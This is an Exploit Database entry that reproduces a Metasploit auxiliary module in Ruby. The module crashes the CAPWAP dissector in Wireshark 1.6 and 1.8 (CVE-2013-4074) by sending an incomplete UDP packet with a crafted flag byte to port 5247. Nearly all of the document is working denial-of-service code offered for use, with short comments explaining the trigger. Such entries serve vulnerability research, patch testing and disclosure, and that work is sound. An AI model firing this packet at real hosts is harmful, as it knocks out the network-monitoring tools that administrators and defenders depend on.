[dos] - Wireshark CAPWAP Dissector - Denial of Service (msf) : Exploit DB

EDB-ID: 33556	CVE: 2013-4074[1]	OSVDB-ID: 94091[2]
Author: j0sm1	Published: 2014-05-28	Verified:
Exploit Code:	Vulnerable App:   N/A

#
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Auxiliary
  
 include Msf::Exploit::Remote::Udp
 include Msf::Auxiliary::Dos
  
 def initialize(info = {})
 super(update_info(info,
 'Name' => 'Wireshark CAPWAP Dissector DoS',
 'Description' => %q{
 This module inject a malicious udp packet to crash Wireshark 1.8.0 to 1.8.7 and 1.6.0
 to 1.6.15. The vulnerability exists in the capwap dissector which fails to handle an
 incomplete packet.
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'Laurent Butti', # Discovery vulnerability
 'j0sm1' # Auxiliary msf module
 ],
 'References' =>
 [
 ['CVE', '2013-4074'],
 ['OSVDB', '94091'],
 ['BID', '60500']
 ],
 'DisclosureDate' => 'Apr 28 2014'))
  
 # Protocol capwap needs port 5247 to trigger the dissector in wireshark
 register_options([ Opt::RPORT(5247) ], self.class)
 end
  
 def run
  
 connect_udp
  
 # We send a packet incomplete to crash dissector
 print_status("#{rhost}:#{rport} - Trying to crash wireshark capwap dissector ...")
 # With 0x90 in this location we set to 1 the flags F and M. The others flags are sets to 0, then
 # the dissector crash
 # You can see more information here: https://www.rfc-editor.org/rfc/rfc5415.txt
 # F = 1 ; L = 0 ; W = 0 ; M = 1 ; K = 0 ; Flags = 000
 buf = Rex::Text.rand_text(3) + "\x90" + Rex::Text.rand_text(15)
 udp_sock.put(buf)
  
 disconnect_udp
  
 end
  end

References

1. ^{^} 2013-4074 (cve.mitre.org)
2. ^{^} 94091 (osvdb.org)

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